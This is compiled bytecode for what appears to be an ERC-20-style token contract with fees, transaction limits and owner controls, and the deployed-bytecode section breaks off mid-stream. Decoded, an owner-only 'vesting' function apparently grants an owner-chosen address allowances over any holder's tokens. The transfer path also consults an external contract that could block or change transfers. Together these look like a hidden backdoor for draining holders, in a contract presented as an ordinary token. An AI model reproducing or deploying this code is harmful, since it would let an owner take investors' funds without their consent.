031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff19968716179055600354610100900482168152600a8452828120805486166001908117909155308252838220805487168217905560155490921681526008909352908220805490931617909155601680546001600160a01b0319163317905560105490600490620004e83390565b6001600160a01b03168152602081019190915260400160002055336001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6010546040516200054b91815260200190565b60405180910390a350620009da565b6000826000036200056e57506000620005eb565b60006200057c83856200090c565b9050826200058b858362000967565b14620005e85760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084015b60405180910390fd5b90505b92915050565b6000620005e883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506200063b60201b60201c565b600081836200065f5760405162461bcd60e51b8152600401620005df91906200098a565b5060006200066e848662000967565b95945050505050565b634e487b7160e01b600052604160045260246000fd5b600181811c90821680620006a257607f821691505b602082108103620006c357634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200071757600081815260208120601f850160051c81016020861015620006f25750805b601f850160051c820191505b818110156200071357828155600101620006fe565b5050505b505050565b81516001600160401b0381111562000738576200073862000677565b62000750816200074984546200068d565b84620006c9565b602080601f8311600181146200078857600084156200076f5750858301515b600019600386901b1c1916600185901b17855562000713565b600085815260208120601f198616915b82811015620007b95788860151825594840194600190910190840162000798565b5085821015620007d85787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200083f578160001904821115620008235762000823620007e8565b808516156200083157918102915b93841c939080029062000803565b509250929050565b6000826200085857506001620005eb565b816200086757506000620005eb565b81600181146200088057600281146200088b57620008ab565b6001915050620005eb565b60ff8411156200089f576200089f620007e8565b50506001821b620005eb565b5060208310610133831016604e8410600b8410161715620008d0575081810a620005eb565b620008dc8383620007fe565b8060001904821115620008f357620008f3620007e8565b029392505050565b6000620005e860ff84168362000847565b8082028115828204841417620005eb57620005eb620007e8565b6000602082840312156200093957600080fd5b81516001600160a01b0381168114620005e857600080fd5b80820180821115620005eb57620005eb620007e8565b6000826200098557634e487b7160e01b600052601260045260246000fd5b500490565b600060208083528351808285015260005b81811015620009b9578581018301518582016040015282016200099b565b506000604082860101526040601f19601f8301168501019250505092915050565b61250f80620009ea6000396000f3fe6080604052600436106102b25760003560e01c80638a8c523c11610175578063c49b9a80116100dc578063d2d7ad8311610095578063ef422a181161006f578063ef422a181461089d578063f2fde38b146108bd578063f680f799146108dd578063f872858a146108f357600080fd5b8063d2d7ad8314610820578063da00097d14610836578063dd62ed3e1461085757600080fd5b8063c49b9a8014610765578063c816841b14610785578063c9567bf9146107a5578063c9c9afc5146107ba578063ca9ec199146107da578063d067ed2e146107f057600080fd5b8063a5d69d1f1161012e578063a5d69d1f146106aa578063a8660a78146106ca578063a9059cbb146106e0578063b40f946914610700578063bae9046414610730578063bcdb446b1461075057600080fd5b80638a8c523c146105fd5780638da5cb5b146106175780638f4bc87e1461063557806395d89b4114610655578063a3ca847d1461066a578063a457c2d71461068a57600080fd5b80635342acb41161021957806375f0a874116101d257806375f0a8741461054b5780637c9b6bbc146105705780637d1db4a514610590578063807c2d9c146105a6578063844d591c146105bc57806385261485146105dc57600080fd5b80635342acb41461047b5780635b8bec55146104ab57806361b546d2146104cb57806362256589146104eb57806370a0823114610500578063715018a61461053657600080fd5b8063313ce5671161026b578063313ce567146103b257806339509351146103d45780633ecad271146103f457806342a11095146104245780634a74bb021461043a5780634cb80fd51461045b57600080fd5b806306fdde03146102be5780630940bbc7146102e9578063095ea7b31461030b5780631694505e1461033b57806318160ddd1461037357806323b872dd1461039257600080fd5b366102b957005b600080fd5b3480156102ca57600080fd5b506102d3610914565b6040516102e0919061200b565b60405180910390f35b3480156102f557600080fd5b50610309610304366004612059565b6109a6565b005b34801561031757600080fd5b5061032b610326366004612087565b610a32565b60405190151581526020016102e0565b34801561034757600080fd5b5060145461035b906001600160a01b031681565b6040516001600160a01b0390911681526020016102e0565b34801561037f57600080fd5b506010545b6040519081526020016102e0565b34801561039e57600080fd5b5061032b6103ad3660046120b3565b610a49565b3480156103be57600080fd5b5060035460405160ff90911681526020016102e0565b3480156103e057600080fd5b5061032b6103ef366004612087565b610ab4565b34801561040057600080fd5b5061032b61040f3660046120f4565b60086020526000908152604090205460ff1681565b34801561043057600080fd5b50610384600d5481565b34801561044657600080fd5b5060165461032b90600160a81b900460ff1681565b34801561046757600080fd5b506103096104763660046120f4565b610aea565b34801561048757600080fd5b5061032b6104963660046120f4565b60076020526000908152604090205460ff1681565b3480156104b757600080fd5b5060165461035b906001600160a01b031681565b3480156104d757600080fd5b506103096104e6366004612087565b610b9d565b3480156104f757600080fd5b50610309610cb4565b34801561050c57600080fd5b5061038461051b3660046120f4565b6001600160a01b031660009081526004602052604090205490565b34801561054257600080fd5b50610309610cee565b34801561055757600080fd5b5060035461035b9061010090046001600160a01b031681565b34801561057c57600080fd5b5061030961058b36600461215d565b610d68565b34801561059c57600080fd5b5061038460125481565b3480156105b257600080fd5b5061038460135481565b3480156105c857600080fd5b506103096105d736600461221a565b610efb565b3480156105e857600080fd5b5060165461032b90600160c01b900460ff1681565b34801561060957600080fd5b5060065461032b9060ff1681565b34801561062357600080fd5b506000546001600160a01b031661035b565b34801561064157600080fd5b5061030961065036600461221a565b610f50565b34801561066157600080fd5b506102d3610fa5565b34801561067657600080fd5b50610309610685366004612059565b610fb4565b34801561069657600080fd5b5061032b6106a5366004612087565b611034565b3480156106b657600080fd5b506103096106c5366004612253565b611083565b3480156106d657600080fd5b50610384600c5481565b3480156106ec57600080fd5b5061032b6106fb366004612087565b6110cb565b34801561070c57600080fd5b5061032b61071b3660046120f4565b60096020526000908152604090205460ff1681565b34801561073c57600080fd5b5061030961074b36600461221a565b6110d8565b34801561075c57600080fd5b5061030961112d565b34801561077157600080fd5b50610309610780366004612253565b6111ac565b34801561079157600080fd5b5060155461035b906001600160a01b031681565b3480156107b157600080fd5b5061030961122e565b3480156107c657600080fd5b506103096107d53660046120f4565b611267565b3480156107e657600080fd5b50610384600e5481565b3480156107fc57600080fd5b5061032b61080b3660046120f4565b600a6020526000908152604090205460ff1681565b34801561082c57600080fd5b5061038460115481565b34801561084257600080fd5b5060165461032b90600160b01b900460ff1681565b34801561086357600080fd5b50610384610872366004612270565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b3480156108a957600080fd5b506103096108b836600461221a565b6112b3565b3480156108c957600080fd5b506103096108d83660046120f4565b611308565b3480156108e957600080fd5b50610384600f5481565b3480156108ff57600080fd5b5060165461032b90600160b81b900460ff1681565b6060600180546109239061229e565b80601f016020809104026020016040519081016040528092919081815260200182805461094f9061229e565b801561099c5780601f106109715761010080835404028352916020019161099c565b820191906000526020600020905b81548152906001019060200180831161097f57829003601f168201915b5050505050905090565b6000546001600160a01b031633146109d95760405162461bcd60e51b81526004016109d0906122d8565b60405180910390fd5b600e8190556005811115610a2f5760405162461bcd60e51b815260206004820152601c60248201527f53656c6c2066656573206d757374206265203525206f72206c6573730000000060448201526064016109d0565b50565b6000610a3f3384846113f2565b5060015b92915050565b6000610a56848484611516565b50610aa98433610aa48560405180606001604052806028815260200161248d602891396001600160a01b038a1660009081526005602090815260408083203384529091529020549190611915565b6113f2565b5060015b9392505050565b3360008181526005602090815260408083206001600160a01b03871684529091528120549091610a3f918590610aa4908661194f565b6000546001600160a01b03163314610b145760405162461bcd60e51b81526004016109d0906122d8565b6001600160a01b038116610b755760405162461bcd60e51b815260206004820152602260248201527f46656520416464726573732063616e6e6f74206265207a65726f206164647265604482015261737360f01b60648201526084016109d0565b600380546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b6000546001600160a01b03163314610bc75760405162461bcd60e51b81526004016109d0906122d8565b306001600160a01b03831603610c3e5760405162461bcd60e51b815260206004820152603660248201527f4f776e65722063616e277420636c61696d20636f6e747261637427732062616c604482015275616e6365206f6620697473206f776e20746f6b656e7360501b60648201526084016109d0565b60405163a9059cbb60e01b8152336004820152602481018290526001600160a01b0383169063a9059cbb906044016020604051808303816000875af1158015610c8b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610caf919061230d565b505050565b6000546001600160a01b03163314610cde5760405162461bcd60e51b81526004016109d0906122d8565b6016805461ffff60b81b19169055565b6000546001600160a01b03163314610d185760405162461bcd60e51b81526004016109d0906122d8565b6000805460405161dead926001600160a01b03909216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b03191661dead179055565b6000546001600160a01b03163314610d925760405162461bcd60e51b81526004016109d0906122d8565b828114610d9e57600080fd5b60008042815b86811015610e0a57878782818110610dbe57610dbe61232a565b9050602002013583610dd09190612356565b9250858582818110610de457610de461232a565b9050602002013584610df69190612356565b935080610e0281612369565b915050610da4565b50600c54610e188383612356565b1015610e665760405162461bcd60e51b815260206004820181905260248201527f56657374696e672063616e20626520737461727420696e2036206d6f6e74687360448201526064016109d0565b60005b89811015610eee5760008b8b83818110610e8557610e8561232a565b9050602002016020810190610e9a91906120f4565b6001600160a01b039081166000908152600b6020908152604080832080546001600160a01b031916948f16948517905560058252808320938352929052208590555080610ee681612369565b915050610e69565b5050505050505050505050565b6000546001600160a01b03163314610f255760405162461bcd60e51b81526004016109d0906122d8565b6001600160a01b03919091166000908152600860205260409020805460ff1916911515919091179055565b6000546001600160a01b03163314610f7a5760405162461bcd60e51b81526004016109d0906122d8565b6001600160a01b03919091166000908152600960205260409020805460ff1916911515919091179055565b6060600280546109239061229e565b6000546001600160a01b03163314610fde5760405162461bcd60e51b81526004016109d0906122d8565b600d8190556005811115610a2f5760405162461bcd60e51b815260206004820152601b60248201527f4275792066656573206d757374206265203525206f72206c657373000000000060448201526064016109d0565b6000610a3f3384610aa4856040518060600160405280602581526020016124b5602591393360009081526005602090815260408083206001600160a01b038d1684529091529020549190611915565b6000546001600160a01b031633146110ad5760405162461bcd60e51b81526004016109d0906122d8565b60168054911515600160b01b0260ff60b01b19909216919091179055565b6000610aa9338484611516565b6000546001600160a01b031633146111025760405162461bcd60e51b81526004016109d0906122d8565b6001600160a01b03919091166000908152600a60205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146111575760405162461bcd60e51b81526004016109d0906122d8565b604051600090339047908381818185875af1925050503d8060008114611199576040519150601f19603f3d011682016040523d82523d6000602084013e61119e565b606091505b5050905080610a2f57600080fd5b6000546001600160a01b031633146111d65760405162461bcd60e51b81526004016109d0906122d8565b60168054821515600160a81b0260ff60a81b199091161790556040517f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc1599061122390831515815260200190565b60405180910390a150565b6000546001600160a01b031633146112585760405162461bcd60e51b81526004016109d0906122d8565b6006805460ff19166001179055565b6000546001600160a01b031633146112915760405162461bcd60e51b81526004016109d0906122d8565b601680546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146112dd5760405162461bcd60e51b81526004016109d0906122d8565b6001600160a01b03919091166000908152600760205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146113325760405162461bcd60e51b81526004016109d0906122d8565b6001600160a01b0381166113975760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016109d0565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166114545760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016109d0565b6001600160a01b0382166114b55760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016109d0565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006001600160a01b03841661157c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016109d0565b6001600160a01b0383166115de5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016109d0565b601654600160a01b900460ff1615611602576115fb8484846119ae565b9050610aad565b6001600160a01b0384166000908152600a602052604090205460ff1615801561164457506001600160a01b0383166000908152600a602052604090205460ff16155b80156116595750601654600160c01b900460ff165b156116c1576012548211156116c15760405162461bcd60e51b815260206004820152602860248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546044820152673c20b6b7bab73a1760c11b60648201526084016109d0565b30600090815260046020526040902054601154811080159081906116ef5750601654600160a01b900460ff16155b801561171457506001600160a01b03861660009081526008602052604090205460ff16155b80156117295750601654600160a81b900460ff165b1561174f57601654600160b01b900460ff16156117465760115491505b61174f82611a94565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0389166000908152600490915291909120546117a1918690611915565b6001600160a01b0387166000908152600460205260408120919091556117c8878787611b3e565b601654909150600160b81b900460ff1680156117fd57506001600160a01b03861660009081526009602052604090205460ff16155b1561188a5760135461182e82611828896001600160a01b031660009081526004602052604090205490565b9061194f565b111561188a5760405162461bcd60e51b815260206004820152602560248201527f416d6f756e74204578636565642046726f6d204d61782057616c6c6574204c696044820152646d6974212160d81b60648201526084016109d0565b6001600160a01b0386166000908152600460205260409020546118ad908261194f565b6001600160a01b0380881660008181526004602052604090819020939093559151908916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906119019085815260200190565b60405180910390a360019350505050610aad565b600081848411156119395760405162461bcd60e51b81526004016109d0919061200b565b5060006119468486612382565b95945050505050565b60008061195c8385612356565b905083811015610aad5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016109d0565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b03861660009081526004909152918220546119ff918490611915565b6001600160a01b038086166000908152600460205260408082209390935590851681522054611a2e908361194f565b6001600160a01b0380851660008181526004602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611a829086815260200190565b60405180910390a35060019392505050565b6016805460ff60a01b1916600160a01b17905547611ab182611d49565b6000611abd4783611edc565b90508015611b2c5760035460405160009161010090046001600160a01b03169083908381818185875af1925050503d8060008114611b17576040519150601f19603f3d011682016040523d82523d6000602084013e611b1c565b606091505b5050905080611b2a57600080fd5b505b50506016805460ff60a01b1916905550565b6001600160a01b0383166000908152600860205260408120548190819060ff1615611b8d57611b836064611b7d600d5487611f1e90919063ffffffff16565b90611fa0565b9150859050611bce565b6001600160a01b03851660009081526008602052604090205460ff1615611bce57611bc86064611b7d600e5487611f1e90919063ffffffff16565b91508490505b6001600160a01b038181166000908152600b60205260409020541615801590611cb157506001600160a01b038181166000908152600b60209081526040808320548a85168085526008909352818420548a86168086529483902054925163c2d1fab360e01b815260ff9182161515600482015292161515602483015260448201929092526064810192909252608482018790529091169063c2d1fab39060a4016020604051808303816000875af1158015611c8d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611cb1919061230d565b15611cbb57600091505b8115611d355730600090815260046020526040902054611cdb908361194f565b30600081815260046020526040908190209290925590516001600160a01b038816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611d2c9086815260200190565b60405180910390a35b611d3f8483611edc565b9695505050505050565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110611d7e57611d7e61232a565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611dd7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611dfb9190612395565b81600181518110611e0e57611e0e61232a565b6001600160a01b039283166020918202929092010152601454611e3491309116846113f2565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611e6d9085906000908690309042906004016123f6565b600060405180830381600087803b158015611e8757600080fd5b505af1158015611e9b573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a78282604051611ed0929190612432565b60405180910390a15050565b6000610aad83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611915565b600082600003611f3057506000610a43565b6000611f3c8385612453565b905082611f49858361246a565b14610aad5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016109d0565b6000610aad83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525060008183611ffe5760405162461bcd60e51b81526004016109d0919061200b565b506000611946848661246a565b600060208083528351808285015260005b818110156120385785810183015185820160400152820161201c565b506000604082860101526040601f19601f8301168501019250505092915050565b60006020828403121561206b57600080fd5b5035919050565b6001600160a01b0381168114610a2f57600080fd5b6000806040838503121561209a57600080fd5b82356120a581612072565b946020939093013593505050565b6000806000606084860312156120c857600080fd5b83356120d381612072565b925060208401356120e381612072565b929592945050506040919091013590565b60006020828403121561210657600080fd5b8135610aad81612072565b60008083601f84011261212357600080fd5b50813567ffffffffffffffff81111561213b57600080fd5b6020830191508360208260051b850101111561215657600080fd5b9250929050565b60008060008060008060006080888a03121561217857600080fd5b873567ffffffffffffffff8082111561219057600080fd5b61219c8b838c01612111565b909950975060208a013591506121b182612072565b909550604089013590808211156121c757600080fd5b6121d38b838c01612111565b909650945060608a01359150808211156121ec57600080fd5b506121f98a828b01612111565b989b979a50959850939692959293505050565b8015158114610a2f57600080fd5b6000806040838503121561222d57600080fd5b823561223881612072565b915060208301356122488161220c565b809150509250929050565b60006020828403121561226557600080fd5b8135610aad8161220c565b6000806040838503121561228357600080fd5b823561228e81612072565b9150602083013561224881612072565b600181811c908216806122b257607f821691505b6020821081036122d257634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60006020828403121561231f57600080fd5b8151610aad8161220c565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b80820180821115610a4357610a43612340565b60006001820161237b5761237b612340565b5060010190565b81810381811115610a4357610a43612340565b6000602082840312156123a757600080fd5b8151610aad81612072565b600081518084526020808501945080840160005b838110156123eb5781516001600160a01b0316875295820195908201906001016123c6565b509495945050505050565b85815284602082015260a06040820152600061241560a08301866123b2565b6001600160a01b0394909416606083015250608001529392505050565b82815260406020820152600061244b60408301846123b2565b949350505050565b8082028115828204841417610a4357610a43612340565b60008261248757634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212200212b6deddeeb7c8ee23a850099bd99402ab99fe500bf48fb7b1d706e552234064736f6c63430008130033

Deployed Bytecode

0x6080604052600436106102b25760003560e01c80638a8c523c11610175578063c49b9a80116100dc578063d2d7ad8311610095578063ef422a181161006f578063ef422a181461089d578063f2fde38b146108bd578063f680f799146108dd578063f872858a146108f357600080fd5b8063d2d7ad8314610820578063da00097d14610836578063dd62ed3e1461085757600080fd5b8063c49b9a8014610765578063c816841b14610785578063c9567bf9146107a5578063c9c9afc5146107ba578063ca9ec199146107da578063d067ed2e146107f057600080fd5b8063a5d69d1f1161012e578063a5d69d1f146106aa578063a8660a78146106ca578063a9059cbb146106e0578063b40f946914610700578063bae9046414610730578063bcdb446b1461075057600080fd5b80638a8c523c146105fd5780638da5cb5b146106175780638f4bc87e1461063557806395d89b4114610655578063a3ca847d1461066a578063a457c2d71461068a57600080fd5b80635342acb41161021957806375f0a874116101d257806375f0a8741461054b5780637c9b6bbc146105705780637d1db4a514610590578063807c2d9c146105a6578063844d591c146105bc57806385261485146105dc57600080fd5b80635342acb41461047b5780635b8bec55146104ab57806361b546d2146104cb57806362256589146104eb57806370a0823114610500578063715018a61461053657600080fd5b8063313ce5671161026b578063313ce567146103b257806339509351146103d45780633ecad271146103f457806342a11095146104245780634a74bb021461043a5780634cb80fd51461045b57600080fd5b806306fdde03146102be5780630940bbc7146102e9578063095ea7b31461030b5780631694505e1461033b57806318160ddd1461037357806323b872dd1461039257600080fd5b366102b957005b600080fd5b3480156102ca57600080fd5b506102d3610914565b6040516102e0919061200b565b60405180910390f35b3480156102f557600080fd5b50610309610304366004612059565b6109a6565b005b34801561031757600080fd5b5061032b610326366004612087565b610a32565b60405190151581526020016102e0565b34801561034757600080fd5b5060145461035b906001600160a01b031681565b6040516001600160a01b0390911681526020016102e0565b34801561037f57600080fd5b506010545b6040519081526020016102e0565b34801561039e57600080fd5b5061032b6103ad3660046120b3565b610a49565b3480156103be57600080fd5b5060035460405160ff90911681526020016102e0565b3480156103e057600080fd5b5061032b6103ef366004612087565b610ab4565b34801561040057600080fd5b5061032b61040f3660046120f4565b60086020526000908152604090205460ff1681565b34801561043057600080fd5b50610384600d5481565b34801561044657600080fd5b5060165461032b90600160a81b900460ff1681565b34801561046757600080fd5b506103096104763660046120f4565b610aea565b34801561048757600080fd5b5061032b6104963660046120f4565b60076020526000908152604090205460ff1681565b3480156104b757600080fd5b5060165461035b906001600160a01b031681565b3480156104d757600080fd5b506103096104e6366004612087565b610b9d565b3480156104f757600080fd5b50610309610cb4565b34801561050c57600080fd5b5061038461051b3660046120f4565b6001600160a01b031660009081526004602052604090205490565b34801561054257600080fd5b50610309610cee565b34801561055757600080fd5b5060035461035b9061010090046001600160a01b031681565b34801561057c57600080fd5b5061030961058b36600461215d565b610d68565b34801561059c57600080fd5b5061038460125481565b3480156105b257600080fd5b5061038460135481565b3480156105c857600080fd5b506103096105d736600461221a565b610efb565b3480156105e857600080fd5b5060165461032b90600160c01b900460ff1681565b34801561060957600080fd5b5060065461032b9060ff1681565b34801561062357600080fd5b506000546001600160a01b031661035b565b34801561064157600080fd5b5061030961065036600461221a565b610f50565b34801561066157600080fd5b506102d3610fa5565b34801561067657600080fd5b50610309610685366004612059565b610fb4565b34801561069657600080fd5b5061032b6106a5366004612087565b611034565b3480156106b657600080fd5b506103096106c5366004612253565b611083565b3480156106d657600080fd5b50610384600c5481565b3480156106ec57600080fd5b5061032b6106fb366004612087565b6110cb565b34801561070c57600080fd5b5061032b61071b3660046120f4565b60096020526000908152604090205460ff1681565b34801561073c57600080fd5b5061030961074b36600461221a565b6110d8565b34801561075c57600080fd5b5061030961112d565b34801561077157600080fd5b50610309610780366004612253565b6111ac565b34801561079157600080fd5b5060155461035b906001600160a01b031681565b3480156107b157600080fd5b5061030961122e565b3480156107c657600080fd5b506103096107d53660046120f4565b611267565b3480156107e657600080fd5b50610384600e5481565b3480156107fc57600080fd5b5061032b61080b3660046120f4565b600a6020526000908152604090205460ff1681565b34801561082c57600080fd5b5061038460115481565b34801561084257600080fd5b5060165461032b90600160b01b900460ff1681565b34801561086357600080fd5b50610384610872366004612270565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b3480156108a957600080fd5b506103096108b836600461221a565b6112b3565b3480156108c957600080fd5b506103096108d83660046120f4565b611308565b3480156108e957600080fd5b50610384600f5481565b3480156108ff57600080fd5b5060165461032b90600160b81b900460ff1681565b6060600180546109239061229e565b80601f016020809104026020016040519081016040528092919081815260200182805461094f9061229e565b801561099c5780601f106109715761010080835404028352916020019161099c565b820191906000526020600020905b81548152906001019060200180831161097f57829003601f168201915b5050505050905090565b6000546001600160a01b031633146109d95760405162461bcd60e51b81526004016109d0906122d8565b60405180910390fd5b600e8190556005811115610a2f5760405162461bcd60e51b815260206004820152601c60248201527f53656c6c2066656573206d757374206265203525206f72206c6573730000000060448201526064016109d0565b50565b6000610a3f3384846113f2565b5060015b92915050565b6000610a56848484611516565b50610aa98433610aa48560405180606001604052806028815260200161248d602891396001600160a01b038a1660009081526005602090815260408083203384529091529020549190611915565b6113f2565b5060015b9392505050565b3360008181526005602090815260408083206001600160a01b03871684529091528120549091610a3f918590610aa4908661194f565b6000546001600160a01b03163314610b145760405162461bcd60e51b81526004016109d0906122d8565b6001600160a01b038116610b755760405162461bcd60e51b815260206004820152602260248201527f46656520416464726573732063616e6e6f74206265207a65726f206164647265604482015261737360f01b60648201526084016109d0565b600380546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b6000546001600160a01b03163314610bc75760405162461bcd60e51b81526004016109d0906122d8565b306001600160a01b03831603610c3e5760405162461bcd60e51b815260206004820152603660248201527f4f776e65722063616e277420636c61696d20636f6e747261637427732062616c604482015275616e6365206f6620697473206f776e20746f6b656e7360501b60648201526084016109d0565b60405163a9059cbb60e01b8152336004820152602481018290526001600160a01b0383169063a9059cbb906044016020604051808303816000875af1158015610c8b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610caf919061230d565b505050565b6000546001600160a01b03163314610cde5760405162461bcd60e51b81526004016109d0906122d8565b6016805461ffff60b81b19169055565b6000546001600160a01b03163314610d185760405162461bcd60e51b81526004016109d0906122d8565b6000805460405161dead926001600160a01b03909216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b03191661dead179055565b6000546001600160a01b03163314610d925760405162461bcd60e51b81526004016109d0906122d8565b828114610d9e57600080fd5b60008042815b86811015610e0a57878782818110610dbe57610dbe61232a565b9050602002013583610dd09190612356565b9250858582818110610de457610de461232a565b9050602002013584610df69190612356565b935080610e0281612369565b915050610da4565b50600c54610e188383612356565b1015610e665760405162461bcd60e51b815260206004820181905260248201527f56657374696e672063616e20626520737461727420696e2036206d6f6e74687360448201526064016109d0565b60005b89811015610eee5760008b8b83818110610e8557610e8561232a565b9050602002016020810190610e9a91906120f4565b6001600160a01b039081166000908152600b6020908152604080832080546001600160a01b031916948f16948517905560058252808320938352929052208590555080610ee681612369565b915050610e69565b5050505050505050505050565b6000546001600160a01b03163314610f255760405162461bcd60e51b81526004016109d0906122d8565b6001600160a01b03919091166000908152600860205260409020805460ff1916911515919091179055565b6000546001600160a01b03163314610f7a5760405162461bcd60e51b81526004016109d0906122d8565b6001600160a01b03919091166000908152600960205260409020805460ff1916911515919091179055565b6060600280546109239061229e565b6000546001600160a01b03163314610fde5760405162461bcd60e51b81526004016109d0906122d8565b600d8190556005811115610a2f5760405162461bcd60e51b815260206004820152601b60248201527f4275792066656573206d757374206265203525206f72206c657373000000000060448201526064016109d0565b6000610a3f3384610aa4856040518060600160405280602581526020016124b5602591393360009081526005602090815260408083206001600160a01b038d1684529091529020549190611915565b6000546001600160a01b031633146110ad5760405162461bcd60e51b81526004016109d0906122d8565b60168054911515600160b01b0260ff60b01b19909216919091179055565b6000610aa9338484611516565b6000546001600160a01b031633146111025760405162461bcd60e51b81526004016109d0906122d8565b6001600160a01b03919091166000908152600a60205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146111575760405162461bcd60e51b81526004016109d0906122d8565b604051600090339047908381818185875af1925050503d8060008114611199576040519150601f19603f3d011682016040523d82523d6000602084013e61119e565b606091505b5050905080610a2f57600080fd5b6000546001600160a01b031633146111d65760405162461bcd60e51b81526004016109d0906122d8565b60168054821515600160a81b0260ff60a81b199091161790556040517f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc1599061122390831515815260200190565b60405180910390a150565b6000546001600160a01b031633146112585760405162461bcd60e51b81526004016109d0906122d8565b6006805460ff19166001179055565b6000546001600160a01b031633146112915760405162461bcd60e51b81526004016109d0906122d8565b601680546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146112dd5760405162461bcd60e51b81526004016109d0906122d8565b6001600160a01b03919091166000908152600760205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146113325760405162461bcd60e51b81526004016109d0906122d8565b6001600160a01b0381166113975760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016109d0565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166114545760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016109d0565b6001600160a01b0382166114b55760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016109d0565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006001600160a01b03841661157c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016109d0565b6001600160a01b0383166115de5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016109d0565b601654600160a01b900460ff1615611602576115fb8484846119ae565b9050610aad565b6001600160a01b0384166000908152600a602052604090205460ff1615801561164457506001600160a01b0383166000908152600a602052604090205460ff16155b80156116595750601654600160c01b900460ff165b156116c1576012548211156116c15760405162461bcd60e51b815260206004820152602860248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546044820152673c20b6b7bab73a1760c11b60648201526084016109d0565b30600090815260046020526040902054601154811080159081906116ef5750601654600160a01b900460ff16155b801561171457506001600160a01b03861660009081526008602052604090205460ff16155b801561172957506